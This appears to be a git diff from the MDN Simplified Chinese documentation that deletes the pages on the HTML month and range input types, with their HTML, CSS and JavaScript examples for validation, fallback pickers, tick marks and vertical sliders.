使旋钮向左和向右滑动。 如果支持,我们将能够声明垂直高度,并通过声明高度值大于宽度值来使用CSS上下滑动。 任何主要的浏览器实际上尚未实现此功能。(请参阅{{bug(981916)}}, Chrome bug 341071)。也许它仍在讨论中。

+ +

同时,我们可以通过使用CSS变换旋转范围来使范围垂直,或者通过使用各自的方法定位每个浏览器引擎,包括通过将 {{cssxref('appearance')}} 设置为 slider-vertical, 在Firefox中使用非标准的orient 属性,或通过更改Internet Explorer和Edge的文本方向。

+ +

考虑以下范围控制:

+ +
+
<input type="range" id="volume" min="0" max="11" value="7" step="1">
+
+ +

{{EmbedLiveSample("Orientation_sample1", 200, 200, "https://mdn.mozillademos.org/files/14983/Orientation_sample1.png")}}

+ +

此控件是水平的(至少对大多数主要浏览器(至少,如果不是全部);其他控件可能有所不同)。

+ +

标准

+ +

根据规范,使其垂直需要添加CSS来更改控件的尺寸,以使其比宽度高,如下所示:

+ +
+

CSS

+ +
#volume {
+  height: 150px;
+  width: 50px;
+}
+ +

HTML

+ +
<input type="range" id="volume" min="0" max="11" value="7" step="1">
+ +

结果

+ +

{{EmbedLiveSample("Orientation_sample2", 200, 200, "https://mdn.mozillademos.org/files/14985/Orientation_sample2.png")}}

+
+
+ +

不幸的是,当前没有主流浏览器直接支持垂直范围控件。

+ +

变换:旋转(-90deg)

+ +

但是,您可以通过在侧面绘制水平范围控件来创建垂直范围控件。 最简单的方法是使用CSS:通过应用 {{cssxref("transform")}} 旋转元素,可以使其垂直。 让我们来看看。

+ +

HTML

+ +

需要更新HTML,以将 {{HTMLElement("input")}} 包裹在 {{HTMLElement("div")}} 中,以便我们在执行转换后纠正布局(因为转换不会自动影响 页面的布局):

+ +
<div class="slider-wrapper">
+  <input type="range" min="0" max="11" value="7" step="1">
+</div>
+ +

CSS

+ +

现在我们需要一些CSS。 首先是包装器本身的CSS; 这指定了我们想要的显示模式和大小,以便页面正确布局; 本质上,它是为滑块保留页面的区域,以便旋转的滑块适合保留的空间而不会造成混乱。

+ +
.slider-wrapper {
+  display: inline-block;
+  width: 20px;
+  height: 150px;
+  padding: 0;
+}
+
+ +

然后是保留空间中 <input> 元素的样式信息:

+ +
.slider-wrapper input {
+  width: 150px;
+  height: 20px;
+  margin: 0;
+  transform-origin: 75px 75px;
+  transform: rotate(-90deg);
+}
+ +

控件的大小设置为150像素长x 20像素高。 边距设置为0, {{cssxref("transform-origin")}} 移至滑块旋转通过的空间的中间; 由于滑块配置为150像素宽,因此它将旋转通过每边150像素的框。 在每个轴上将原点偏移75像素,这意味着我们将围绕该空间的中心旋转。 最后,我们将逆时针旋转90°。 结果:旋转一个范围输入,因此最大值在顶部,最小值在底部。

+ +

{{EmbedLiveSample("transform_rotate-90deg", 200, 200, "https://mdn.mozillademos.org/files/14987/Orientation_sample3.png")}}

+ +

外观特性

+ +

{{cssxref('appearance')}}属性具有非标准值的slider-vertical可以使滑块垂直。

+ +

HTML

+ +

我们使用与前面的示例相同的HTML:

+ +
<input type="range" min="0" max="11" value="7" step="1">
+
+ +

CSS

+ +

我们仅针对具有范围类型的输入:

+ +
input[type="range"] {
+  -webkit-appearance: slider-vertical;
+}
+ +

{{EmbedLiveSample("appearance_property", 200, 200)}}

+ +

定向属性

+ +

仅在Firefox中,有一个非标准的 orient 属性。

+ +

HTML

+ +

使用与前面示例类似的HTML,我们添加属性值为 vertical:

+ +
<input type="range" min="0" max="11" value="7" step="1" orient="vertical">
+
+ +

{{EmbedLiveSample("orient_attribute", 200, 200)}}

+ +

写作模式:bt-lr;

+ +

The {{cssxref('writing-mode')}} 属性通常不应用于出于国际化或本地化目的更改文本方向,而可以用于特殊效果。

+ +

HTML

+ +

我们使用与前面的示例相同的HTML:

+ +
<input type="range" min="0" max="11" value="7" step="1">
+
+ +

CSS

+ +

我们仅以范围为类型的输入作为目标,将写入模式从默认更改为 bt-lr, 或从下至上和从左至右:

+ +
input[type="range"] {
+  writing-mode: bt-lr;
+}
+ +

{{EmbedLiveSample("writing-mode_bt-lr", 200, 200)}}

+ +

放在一起

+ +

由于上述每个示例都在不同的浏览器中工作,因此您可以将所有示例放在一个示例中,以使其在跨浏览器中工作:

+ +

HTML

+ +

对于Firefox,我们将orient属性的值保持为vertical:

+ +
<input type="range" min="0" max="11" value="7" step="1" orient="vertical">
+
+ +

CSS

+ +

对于Edge和Internet Explorer,我们仅将输入类型作为目标,将写入模式从默认更改为 bt-lr, 或者从下至上,从左至右,然后添加 -webkit-appearance: slider-vertical用于所有基于-webkit的浏览器:

+ +
input[type="range"] {
+  writing-mode: bt-lr;
+  -webkit-appearance: slider-vertical;
+}
+ +

{{EmbedLiveSample("Putting_it_all_together", 200, 200)}}

+ +

技术指标

+ + + + + + + + + + + + + + + + + + + + + +
规格状态评论
{{SpecName('HTML WHATWG', 'forms.html#range-state-(type=range)', '<input type="range">')}}{{Spec2('HTML WHATWG')}}最初的定义
{{SpecName('HTML5.1', 'sec-forms.html#range-state-typerange', '<input type="range">')}}{{Spec2('HTML5.1')}}最初的定义
+ +

浏览器兼容性

+ + + +

{{Compat("html.elements.input.input-range")}}

+ +

另请参考

+ + diff --git "a/files/zh-cn/web/html/element/input/\346\234\210\344\273\275/index.html" "b/files/zh-cn/web/html/element/input/\346\234\210\344\273\275/index.html" deleted file mode 100644 index 9a2fbb6f2a..0000000000 --- "a/files/zh-cn/web/html/element/input/\346\234\210\344\273\275/index.html" +++ /dev/null @@ -1,457 +0,0 @@ ---- -title: -slug: Web/HTML/Element/Input/月份 -tags: - - HTML - - Input - - 表单 -translation_of: Web/HTML/Element/input/month ---- -

{{HTMLRef}}

- -

类型为 month 的 {{htmlelement("input")}} 可以让你容易地创建一个方便输入年份或月份的一个 {{htmlelement("input")}}。

- -
{{EmbedInteractiveExample("pages/tabbed/input-month.html", "tabbed-shorter")}}
- - - -

这个控件在各个浏览器支持都不同,目前是支持部分浏览器。在桌面上支持情况为 Chrome/Opera 和 Edge 。在移动端支持大部分现代浏览器。在其他浏览器中,这个控件会被优雅的降级到<input type="text">.

- -

对于那些使用不支持的浏览器的用户,Chrome / Opera月份控制如下图所示。单击右侧的向下箭头会显示日期选择器,以便您选择日期;你必须手动输入时间。

- -

- -

Edge的 month 看起来像这样的:

- -

- - - - - - - - - - - - - - - - - - - - - - - - -
{{anch("Value")}}一个 {{domxref("DOMString")}} 代表一个月,一年,或者是空。
Events{{event("change")}} 和 {{event("input")}}.
Supported Common Attributes{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}}, 和 {{htmlattrxref("step", "input")}}.
IDL attributesvalue.
Methods{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}.
- -

Value

- -

{{domxref("DOMString")}} 表示输入输入的月份和年份的值, in the form YYYY-MM (four or more digit year, then a hyphen ("-"), followed by the two-digit month). The format of the month string used by this input type is described in {{SectionOnPage("/en-US/docs/Web/HTML/Date_and_time_formats", "Format of a valid local month string")}}.

- -

你可以设置一个默认的属性值插入到 {{htmlattrxref("value", "input")}} 里, 像这样:

- -
<label for="bday-month">What month were you both in?</label>
-<input id="bday-month" type="month" name="bday-month" value="2017-06">
- -

{{EmbedLiveSample('value-example-1', 600, 60)}}

- -

需要注意的是显示的如期格式不同于实际的value — 日期显示的格式将根据用户的操作系统的时区设置, 而时间的格式通常会格式化为 yyyy-MM

- -

在向服务器提交上述值的时候他们看起来像这样:bday-month=1978-06.

- -

你也可以使用JavaScript 的 {{domxref("HTMLInputElement.value")}} 来设置日期的值 。例如:

- -
var monthControl = document.querySelector('input[type="month"]');
-monthControl.value = '1978-06';
- -

{{EmbedLiveSample("value-example-2", 600, 60)}}

- -

 

- -

Additional attributes

- -

In addition to the attributes common to {{HTMLElement("input")}} elements, month inputs offer the following attributes:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
AttributeDescription
{{anch("max")}}The latest year and month to accept as a valid input
{{anch("min")}}The earliest year and month to accept as a valid input
{{anch("readonly")}}A Boolean which, if present, indicates that the input's value can't be edited
{{anch("step")}}A stepping interval to use when incrementing and decrementing the value of the input field
- -

{{htmlattrdef("max")}}

- -

The latest year and month, in the string format discussed in the {{anch("Value")}} section above, to accept. If the {{htmlattrxref("value", "input")}} entered into the element exceeds this, the element fails constraint validation. If the value of the max attribute isn't a valid string in "yyyy-MM" format, then the element has no maximum value.

- -

This value must specify a year-month pairing later than or equal to the one specified by the min attribute.

- -

{{htmlattrdef("min")}}

- -

The latest year and month to accept, in the same "yyyy-MM" format described above. If the {{htmlattrxref("value", "input")}} of the element is less than this, the element fails constraint validation. If a value is specified for min that isn't a valid year and month string, the input has no minimum value.

- -

This value must be a year-month pairing which is earlier than or equal to the one specified by the max attribute.

- -

{{htmlattrdef("readonly")}}

- -

A Boolean attribute which, if present, means this field cannot be edited by the user. Its value can, however, still be changed from JavaScript code that directly sets the value of the {{domxref("HTMLInputElement.value")}} property.

- -
-

Note: Because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified.

-
- -

{{htmlattrdef("step")}}

- -

{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}

- -

For month inputs, the value of step is given in months, with a scaling factor of 1 (since the underlying numeric value is also in months). The default value of step is 1 month.

- -

 

- -

Using month inputs

- -

与日期相关的输入乍一看很方便,它们提供了一个简单的用户界面来选择日期,并且它们将发送到服务器的数据格式规范化,而不考虑用户的本地环境。但是, 由于浏览器支持有限,所以这个 <input type="month">还是存在兼容性问题。

- -

我们在往下看更多关于<input type="month">基础和更多的高级的用法

- -

, 下面将讲有关缓解浏览器支持问题的建议 (请参阅{{anch("Handling browser support")}}).

- -

Basic uses of month

- -

最简单的<input type="month"> 涉及到基础的 <input> 和 {{htmlelement("label")}} 的元素组合, 像下面这样:

- -
<form>
-  <label for="bday-month">What month were you both in?</label>
-  <input id="bday-month" type="month" name="bday-month">
-</form>
- -

{{ EmbedLiveSample('Basic_uses_of_month', 600, 40) }}

- -

设置最长和最短日期

- -

你可以使用{{htmlattrxref("min", "input")}} 和 {{htmlattrxref("max", "input")}} 属性 来限制用户选择日期. 在下列的例子中我们设置最小月份1900-01 最大月份到 2017-08:

- -
<form>
-  <label for="bday-month">What month were you both in?</label>
-  <input id="bday-month" type="month" name="bday-month"
-         min="1900-01" max="2017-08">
-</form>
- -

{{ EmbedLiveSample('Setting_maximum_and_minimum_dates', 600, 40) }}

- -

结果是这样:

- -
    -
  • 月份只有在2017年八月份到1900年一月可以选择 — 在这个控件里这个范围以外的月份不能滚动选择。
  • -
  • Depending on what browser you are using, you might find that times outside the specified values might not be selectable in the time picker (e.g. Edge), or invalid (see {{anch("Validation")}}) but still available (e.g. Chrome).
  • -
- -
-

Note: You should be able to use the {{htmlattrxref("step", "input")}} attribute to vary the number of days jumped each time the date is incremented (e.g. maybe you only want to make Saturdays selectable). However, this does not seem to work effectively in any implementation at the time of writing.

-
- -

Controlling input size

- -

<input type="month"> doesn't support form sizing attributes such as {{htmlattrxref("size", "input")}}. You'll have to resort to CSS for sizing needs.

- -

Validation

- -

By default, <input type="month"> does not apply any validation to entered values. The UI implementations generally don't let you enter anything that isn't a date — which is helpful — but you can still not fill in a date and submit, or enter an invalid date (e.g. the 32th of April).

- -

You can use {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} to restrict the available dates (see anch("Setting maximum and minimum dates")), and in addition use the {{htmlattrxref("required", "input")}} attribute to make filling in the date mandatory. As a result, supporting browsers will display an error if you try to submit a date that is outside the set bounds, or an empty date field.

- -

Let's look at an example — here we've set minimum and maximum dates, and also made the field required:

- -
<form>
-  <div>
-    <label for="month">What Month would you like to visit us? (Summer months only.)</label>
-    <input id="month" type="month" name="month"
-           min="2017-06" max="2017-09" required>
-    <span class="validity"></span>
-  </div>
-  <div>
-      <input type="submit" value="Submit form">
-  </div>
-</form>
- -

If you try to submit the form with an incomplete date (or with a date outside the set bounds), the browser displays an error. Try playing with the example now:

- -

{{ EmbedLiveSample('Validation', 600, 120) }}

- -

Here's'a screenshot for those of you who aren't using a supporting browser:

- -

- -

Here's the CSS used in the above example. Here we make use of the {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS properties to style the input based on whether or not the current value is valid. We had to put the icons on a {{htmlelement("span")}} next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively.

- -
div {
-  margin-bottom: 10px;
-  position: relative;
-}
-
-input[type="number"] {
-  width: 100px;
-}
-
-input + span {
-  padding-right: 30px;
-}
-
-input:invalid+span:after {
-  position: absolute;
-  content: '✖';
-  padding-left: 5px;
-}
-
-input:valid+span:after {
-  position: absolute;
-  content: '✓';
-  padding-left: 5px;
-}
- -
-

Important: HTML form validation is not a substitute for scripts that ensure that the entered data is in the proper format.  It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to simply bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth).

-
- -

Handling browser support

- -

As mentioned above, the major problem with using date inputs at the time of writing is browser support — only Chrome/Opera and Edge support it on desktop, and most modern browsers on mobile. As an example, the month picker on Chrome for Android looks like this:

- -

- -

Non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling.

- -

The second problem is the most serious — as we mentioned earlier, with a month input the actual value is always normalized to the format yyyy-mm. With a text input on the other hand, by default the browser has no recognition of what format the date should be in, and there multiple ways in which people write dates, for example:

- -
    -
  • mmyyyy
  • -
  • mm/yyyy
  • -
  • mm-yyyy
  • -
  • yyyy-mm
  • -
  • etc.
  • -
- -

One way around this is to put a {{htmlattrxref("pattern", "input")}} attribute on your month input. Even though the month input doesn't use it, the text input fallback will. For example, try viewing the following demo in a non-supporting browser:

- -
<form>
-  <div>
-    <label for="month">What Month would you like to visit us? (Summer months only, yyyy-mm)</label>
-    <input id="month" type="month" name="month"
-           min="2017-06" max="2017-09" required
-           pattern="[0-9]{4}-[0-9]{2}">
-    <span class="validity"></span>
-  </div>
-  <div>
-      <input type="submit" value="Submit form">
-  </div>
-</form>
- -

{{ EmbedLiveSample('Handling_browser_support', 600, 100) }}

- -

If you try submitting it, you'll see that the browser now displays an error message (and highlights the input as invalid) if your entry doesn't match the pattern nnnn-nn, where n is a number from 0 to 9. Of course, this doesn't stop people from entering invalid dates, or incorrectly formatted dates that follow the pattern.

- -

And what user is going to understand the pattern they need to enter the date in?

- -

We still have a problem.

- - - -

The best way to deal with dates in forms in a cross-browser way at the moment is to get the user to enter the month and year in separate controls ({{htmlelement("select")}} elements being popular — see below for an implementation), or use JavaScript libraries such as jQuery date picker, and the jQuery timepicker plugin.

- -

Examples

- -

In this example we create two sets of UI elements for choosing dates — a native picker created with <input type="month">, and a set of two {{htmlelement("select")}} elements for choosing months/years in older browsers that don't support the native input.

- -

{{ EmbedLiveSample('Examples', 600, 140) }}

- -

The HTML looks like so:

- -
<form>
-  <div class="nativeDatePicker">
-    <label for="month-visit">What Month would you like to visit us?</label>
-    <input type="month" id="month-visit" name="month-visit">
-    <span class="validity"></span>
-  </div>
-  <p class="fallbackLabel">What Month would you like to visit us?</p>
-  <div class="fallbackDatePicker">
-    <div>
-      <span>
-        <label for="month">Month:</label>
-        <select id="month" name="month">
-          <option selected>January</option>
-          <option>February</option>
-          <option>March</option>
-          <option>April</option>
-          <option>May</option>
-          <option>June</option>
-          <option>July</option>
-          <option>August</option>
-          <option>September</option>
-          <option>October</option>
-          <option>November</option>
-          <option>December</option>
-        </select>
-      </span>
-      <span>
-        <label for="year">Year:</label>
-        <select id="year" name="year">
-        </select>
-      </span>
-    </div>
-  </div>
-</form>
- -

The months are hardcoded (as they are always the same), while the year values are dynamically generated depending on the current year (see the code comments below for detailed explanations of how these functions work.)

- - - -

The other part of the code that may be of interest is the feature detection code — to detect whether the browser supports <input type="month">, we create a new {{htmlelement("input")}} element, set its type to month, then immediately check what its type is set to — non-supporting browsers will return text, because the date type falls back to type text. If <input type="month"> is not supported, we hide the native picker and show the fallback picker UI ({{htmlelement("select")}}) instead.

- -
// define variables
-var nativePicker = document.querySelector('.nativeDatePicker');
-var fallbackPicker = document.querySelector('.fallbackDatePicker');
-var fallbackLabel = document.querySelector('.fallbackLabel');
-
-var yearSelect = document.querySelector('#year');
-var monthSelect = document.querySelector('#month');
-
-// hide fallback initially
-fallbackPicker.style.display = 'none';
-fallbackLabel.style.display = 'none';
-
-// test whether a new date input falls back to a text input or not
-var test = document.createElement('input');
-test.type = 'month';
-// if it does, run the code inside the if() {} block
-if(test.type === 'text') {
-  // hide the native picker and show the fallback
-  nativePicker.style.display = 'none';
-  fallbackPicker.style.display = 'block';
-  fallbackLabel.style.display = 'block';
-
-  // populate the years dynamically
-  // (the months are always the same, therefore hardcoded)
-  populateYears();
-}
-
-function populateYears() {
-  // get the current year as a number
-  var date = new Date();
-  var year = date.getFullYear();
-
-  // Make this year, and the 100 years before it available in the year <select>
-  for(var i = 0; i <= 100; i++) {
-    var option = document.createElement('option');
-    option.textContent = year-i;
-    yearSelect.appendChild(option);
-  }
-}
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'forms.html#month-state-(type=month)', '<input type="month">')}}{{Spec2('HTML WHATWG')}} 
- -

浏览器兼容性

- - - -

{{Compat("html.elements.input.input-month")}}

- -

参见

- - diff --git "a/files/zh-cn/web/html/element/input/\350\214\203\345\233\264/index.html" "b/files/zh-cn/web/html/element/input/\350\214\203\345\233\264/index.html" deleted file mode 100644 index 9450c705b2..0000000000 --- "a/files/zh-cn/web/html/element/input/\350\214\203\345\233\264/index.html" +++ /dev/null @@ -1,515 +0,0 @@ ---- -title: -slug: Web/HTML/Element/Input/范围 -tags: - - HTML - - 元素 - - 参考 - - 网页 - - 范围 -translation_of: Web/HTML/Element/input/range ---- -
{{HTMLRef}}
- -

{{HTMLElement("input")}}  range 类型的元素允许用户指定一个数值,该数值必须不小于给定值,并且不得大于另一个给定值。但是,精确值并不重要。通常使用滑块或拨号控件而不是像 {{HTMLElement('input/number', 'number')}}  输入类型这样的文本输入框来表示。 由于这种小部件不精确,因此除非控件的确切值不重要,否则通常不应使用它。

- -
{{EmbedInteractiveExample("pages/tabbed/input-range.html", "tabbed-standard")}}
- - - -

如果用户的浏览器不支持类型范围,它将回退并将其视为 {{HTMLElement('input/text', 'text')}} 输入。

- - - - - - - - - - - - - - - - - - - - - - - - -
{{anch("Value")}}A {{domxref("DOMString")}} containing the string representation of the selected numeric value; use {{domxref("HTMLInputElement.valueAsNumber", "valueAsNumber")}} to get the value as a {{jsxref("Number")}}.
事件{{event("change")}} and {{event("input")}}
支持的常用属性{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("max", "input")}}, {{htmlattrxref("min", "input")}}, and {{htmlattrxref("step", "input")}}
IDL属性list, value, 和 valueAsNumber
方法{{domxref("HTMLInputElement.stepDown", "stepDown()")}} and {{domxref("HTMLInputElement.stepUp", "stepUp()")}}
- -

验证方式

- -

没有可用的模式验证。 但是,执行以下形式的自动验证:

- -
    -
  • 如果将 {{htmlattrxref("value", "input")}} 设置为无法转换为有效浮点数的值,则验证将失败,因为输入正遭受错误的输入。
  • -
  • 该值不得小于 {{htmlattrxref("min", "input")}}. 默认值为0。
  • -
  • 该值将不大于 {{htmlattrxref("max", "input")}}.  默认值为100。
  • -
  • 该值将是 {{htmlattrxref("step", "input")}}.  预设值为1。
  • -
- -

- -

{{htmlattrxref("value", "input")}} 属性包含一个 {{domxref("DOMString")}} 该属性包含所选数字的字符串表示形式。 该值绝不能为空字符串 ("").  默认值介于指定的最小值和最大值之间,除非最大值实际上小于最小值,在这种情况下,默认值设置 min 属性的值。确定默认值的算法是:

- -
defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min
-               : rangeElem.min + (rangeElem.max - rangeElem.min)/2;
- -

如果尝试将值设置为小于最小值,则将其设置为最小值。 类似地,尝试将值设置为大于最大值会导致将其设置为最大值。

- -

其他属性

- -

除了所有 {{HTMLElement("input")}} 元素共享的属性之外,范围输入还提供以下属性:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
属性描述
{{anch("list")}}<datalist>元素的ID,其中包含可选的预定义选项
{{anch("max")}}最大允许值
{{anch("min")}}最小允许值
{{anch("step")}}步进间隔,用于用户界面和验证目的
- -

{{page("/en-US/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}

- -

有关在支持的浏览器中如何表示范围中的选项的示例,请参见下面的带散列的标记范围控制

- -

{{htmlattrdef("max")}}

- -

允许值范围内的最大值。 如果输入到元素中的{{htmlattrxref("value", "input")}}超过此值,则元素将无法通过约束验证。  如果 max 属性的值不是数字,则元素没有最大值。

- -

此值必须大于或等于min属性的值。 请参见 HTML max属性。

- -

{{htmlattrdef("min")}}

- -

允许值范围内的最小值。 如果元素的{{htmlattrxref("value", "input")}} 小于此值,则该元素将无法通过 约束验证。如果为min 指定的值不是有效数字,则输入没有最小值。

- -

该值必须小于或等于max属性的值。 请参见 HTML min属性

- -

{{htmlattrdef("step")}}

- -

{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}

- -

range 输入的默认步进值为1,除非步进基数不是整数,否则仅允许输入整数;否则,默认值为1。 例如,如果将 min 设置为-10并将 value 设置为1.5,则1的 step 将只允许正方向上的值为1.5、2.5、3.5,...,以及-0.5,-1.5,-2.5等。 ..朝负面方向发展。 请参阅HTML step 属性

- -

非标准属性

- - - - - - - - - - - - - - -
属性描述
{{anch("orient")}}设置范围滑块的方向。 仅限Firefox .
- -
-
{{htmlattrdef("orient")}} {{non-standard_inline}}
-
类似于-moz-orient非标准CSS属性会影响 {{htmlelement('progress')}} 和 {{htmlelement('meter')}} 元素, orient 属性定义范围滑块的方向。 值包括 horizontal, 表示范围是水平呈现, 和 vertical, 其中范围是垂直呈现)。
-
- -
-

注意:以下输入属性不适用于输入范围:accept, alt, checked, dirname, formaction, formenctype, formmethod, formnovalidate, formtarget,高度, maxlength, minlength, multiple, pattern, placeholder, readonly, required, size, src, 和 width. 这些属性中的任何一个(如果包含)将被忽略。

-
- -

例子

- -

虽然 number 类型允许用户输入带有可选约束的数字,以强制其值介于最小值和最大值之间,但它确实要求他们输入特定值。 range 输入类型使您可以在用户甚至不关心或不知道所选的特定数字值是什么的情况下,向用户询问一个值。

- -

常用范围输入的一些情况示例:

- -
    -
  • 音频控件(例如音量和平衡)或过滤器控件。
  • -
  • 颜色配置控件,例如颜色通道,透明度,亮度等。
  • -
  • 游戏配置控件,例如难度,可见性距离,世界范围等等。
  • -
  • 密码管理员生成的密码的密码长度。
  • -
- -

通常,如果用户对最小值和最大值之间的距离的百分比比实际数字本身更感兴趣,则范围输入是一个不错的选择。 例如,在家庭立体声音量控制的情况下,用户通常认为“将音量设置为最大音量的一半”而不是“将音量设置为0.5”。

- -

指定最小和最大

- -

默认情况下,最小值为0,最大值为100。如果这不是您想要的值,则可以通过更改 {{htmlattrxref("min", "input")}} 和/或 {{htmlattrxref("max", "input")}} 属性。 这些可以是任何浮点值。

- -

例如,要要求用户输入介于-10和10之间的值,可以使用:

- -
<input type="range" min="-10" max="10">
- -

{{EmbedLiveSample("Specifying_the_minimum_and_maximum", 600, 40)}}

- -

设置值的粒度

- -

默认情况下,粒度为1,表示该值始终是整数。 您可以更改 {{htmlattrxref("step")}} 属性以控制粒度。 例如,如果您需要一个介于5到10之间的值(精确到两位小数),则应将 step 的值设置为0.01:

- -
-
<input type="range" min="5" max="10" step="0.01">
- -

{{EmbedLiveSample("Granularity_sample1", 600, 40)}}

-
- -

如果要接受任何值而不论扩展到小数点后多少位,都可以为{{htmlattrxref("step", "input")}} 属性指定 any 数值。

- -
-
<input type="range" min="0" max="3.14" step="any">
- -

{{EmbedLiveSample("Granularity_sample2", 600, 40)}}

- -

该示例使用户可以选择0到π之间的任何值,而对所选值的小数部分没有任何限制。

-
- -

添加井号和标签

- -

HTML规范使浏览器在如何显示范围控件方面具有一定的灵活性。 在散列标记和较小程度上的标签方面,这种灵活性最明显。 该规范描述了如何使用 {{htmlattrxref("list", "input")}} 属性和 {{HTMLElement("datalist")}} 元素将自定义点添加到范围控件,但没有任何要求或 甚至是沿控件长度的标准化哈希或刻度线的建议。

- -

范围控制模型

- -

由于浏览器具有这种灵活性,并且迄今为止都不支持HTML为范围控件定义的所有功能,因此以下是一些模型,以向您展示在支持它们的浏览器中在macOS上可以得到的功能。

- -
无装饰的范围控制
- -

如果不指定 {{htmlattrxref("list", "input")}} 属性,或者浏览器不支持该属性,则会得到此结果。

- - - - - - - - - - - - - - - - - - - - - -
HTML例子
-
-<input type="range">
-
屏幕截图
Screenshot of a plain slider control on macOS
留存
{{EmbedLiveSample("An_unadorned_range_control",200,55,"","", "nobutton")}}
- -
带散列标记的范围控件
- -

此范围控件使用的 list 属性指定{{HTMLElement("datalist")}} 的ID,该ID定义了控件上的一系列带散列的标记。 其中有11个,因此在0%和每个10%标记处都有一个。 每个点均使用 {{HTMLElement("option")}} 元素表示,其元素 {{htmlattrxref("value", "option")}} 设置为应绘制标记的范围值。

- - - - - - - - - - - - - - - - - - - - - -
HTML例子
-
-<input type="range" list="tickmarks">
-
-<datalist id="tickmarks">
-  <option value="0"></option>
-  <option value="10"></option>
-  <option value="20"></option>
-  <option value="30"></option>
-  <option value="40"></option>
-  <option value="50"></option>
-  <option value="60"></option>
-  <option value="70"></option>
-  <option value="80"></option>
-  <option value="90"></option>
-  <option value="100"></option>
-</datalist>
-
-
屏幕截图
Screenshot of a plain slider control on macOS
留存
{{EmbedLiveSample("A_range_control_with_hash_marks_and_labels",200,55,"","", "nobutton")}}
- -
具有散列标记和标签的范围控件
- -

您可以通过向 {{htmlattrxref("label", "option")}} 元素添加 {{HTMLElement("option")}} 属性来将标签添加到您的范围控件中,这些元素对应于您希望为其添加标签的标记。

- - - - - - - - - - - - - - - - - - - - - -
HTML例子
-
-<input type="range" list="tickmarks">
-
-<datalist id="tickmarks">
-  <option value="0" label="0%"></option>
-  <option value="10"></option>
-  <option value="20"></option>
-  <option value="30"></option>
-  <option value="40"></option>
-  <option value="50" label="50%"></option>
-  <option value="60"></option>
-  <option value="70"></option>
-  <option value="80"></option>
-  <option value="90"></option>
-  <option value="100" label="100%"></option>
-</datalist>
-
-
屏幕截图
Screenshot of a plain slider control on macOS
留存
{{EmbedLiveSample("A_range_control_with_hash_marks_and_labels",200,55,"","", "nobutton")}}
- -
-

注意: 目前没有浏览器完全支持这些特性。例如,Firefox根本不支持散列标记和标签,而Chrome支持散列标记,但不支持标签。Chrome的66版本(66.0.3359.181)支持标签,但是 {{htmlelement("datalist")}} 标签必须使用CSS样式,因为它的 {{cssxref("display")}}属性默认设置为 none ,隐藏了标签。

-
- -

改变方向

- -
-

使旋钮向左和向右滑动。 如果支持,我们将能够声明垂直高度,并通过声明高度值大于宽度值来使用CSS上下滑动。 任何主要的浏览器实际上尚未实现此功能。(请参阅{{bug(981916)}}, Chrome bug 341071)。也许它仍在讨论中。

- -

同时,我们可以通过使用CSS变换旋转范围来使范围垂直,或者通过使用各自的方法定位每个浏览器引擎,包括通过将 {{cssxref('appearance')}} 设置为 slider-vertical, 在Firefox中使用非标准的orient 属性,或通过更改Internet Explorer和Edge的文本方向。

- -

考虑以下范围控制:

- -
-
<input type="range" id="volume" min="0" max="11" value="7" step="1">
-
- -

{{EmbedLiveSample("Orientation_sample1", 200, 200, "https://mdn.mozillademos.org/files/14983/Orientation_sample1.png")}}

- -

此控件是水平的(至少对大多数主要浏览器(至少,如果不是全部);其他控件可能有所不同)。

- -

标准

- -

根据规范,使其垂直需要添加CSS来更改控件的尺寸,以使其比宽度高,如下所示:

- -
-

CSS

- -
#volume {
-  height: 150px;
-  width: 50px;
-}
- -

HTML

- -
<input type="range" id="volume" min="0" max="11" value="7" step="1">
- -

结果

- -

{{EmbedLiveSample("Orientation_sample2", 200, 200, "https://mdn.mozillademos.org/files/14985/Orientation_sample2.png")}}

-
-
- -

不幸的是,当前没有主流浏览器直接支持垂直范围控件。

- -

变换:旋转(-90deg)

- -

但是,您可以通过在侧面绘制水平范围控件来创建垂直范围控件。 最简单的方法是使用CSS:通过应用 {{cssxref("transform")}} 旋转元素,可以使其垂直。 让我们来看看。

- -

HTML

- -

需要更新HTML,以将 {{HTMLElement("input")}} 包裹在 {{HTMLElement("div")}} 中,以便我们在执行转换后纠正布局(因为转换不会自动影响 页面的布局):

- -
<div class="slider-wrapper">
-  <input type="range" min="0" max="11" value="7" step="1">
-</div>
- -

CSS

- -

现在我们需要一些CSS。 首先是包装器本身的CSS; 这指定了我们想要的显示模式和大小,以便页面正确布局; 本质上,它是为滑块保留页面的区域,以便旋转的滑块适合保留的空间而不会造成混乱。

- -
.slider-wrapper {
-  display: inline-block;
-  width: 20px;
-  height: 150px;
-  padding: 0;
-}
-
- -

然后是保留空间中 <input> 元素的样式信息:

- -
.slider-wrapper input {
-  width: 150px;
-  height: 20px;
-  margin: 0;
-  transform-origin: 75px 75px;
-  transform: rotate(-90deg);
-}
- -

控件的大小设置为150像素长x 20像素高。 边距设置为0, {{cssxref("transform-origin")}} 移至滑块旋转通过的空间的中间; 由于滑块配置为150像素宽,因此它将旋转通过每边150像素的框。 在每个轴上将原点偏移75像素,这意味着我们将围绕该空间的中心旋转。 最后,我们将逆时针旋转90°。 结果:旋转一个范围输入,因此最大值在顶部,最小值在底部。

- -

{{EmbedLiveSample("transform_rotate-90deg", 200, 200, "https://mdn.mozillademos.org/files/14987/Orientation_sample3.png")}}

- -

